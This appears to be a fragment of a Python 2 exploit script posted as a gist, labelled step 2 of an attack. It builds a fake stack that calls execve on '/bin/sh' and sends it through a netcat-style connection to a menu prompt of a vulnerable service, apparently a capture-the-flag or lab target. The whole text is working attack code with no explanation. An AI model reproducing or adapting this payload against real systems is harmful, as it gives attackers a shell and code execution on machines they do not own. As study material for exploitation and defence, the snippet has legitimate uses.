gistfile1.py

# Step 2 --- Payload: place the constructed stack which we will execute subsequently
PAYLOAD = dword_to_bitstring(addrexecve)              # address of execve
PAYLOAD += "AAAA"                                     # fake return addr
PAYLOAD += dword_to_bitstring(location_payload + 20)  # ptr to /bin/sh
PAYLOAD += dword_to_bitstring(location_payload + 28)  # ptr to argv
PAYLOAD += dword_to_bitstring(location_payload + 28)  # ptr to envp
PAYLOAD += "/bin/sh"

nc.read_until("Your choice: ")
nc.write("1" + "\n")

nc.read_until("Insert name: ")
nc.write(PAYLOAD + "\n")

print "[+] Payload has been stored   :", repr(PAYLOAD), "of length", len(PAYLOAD)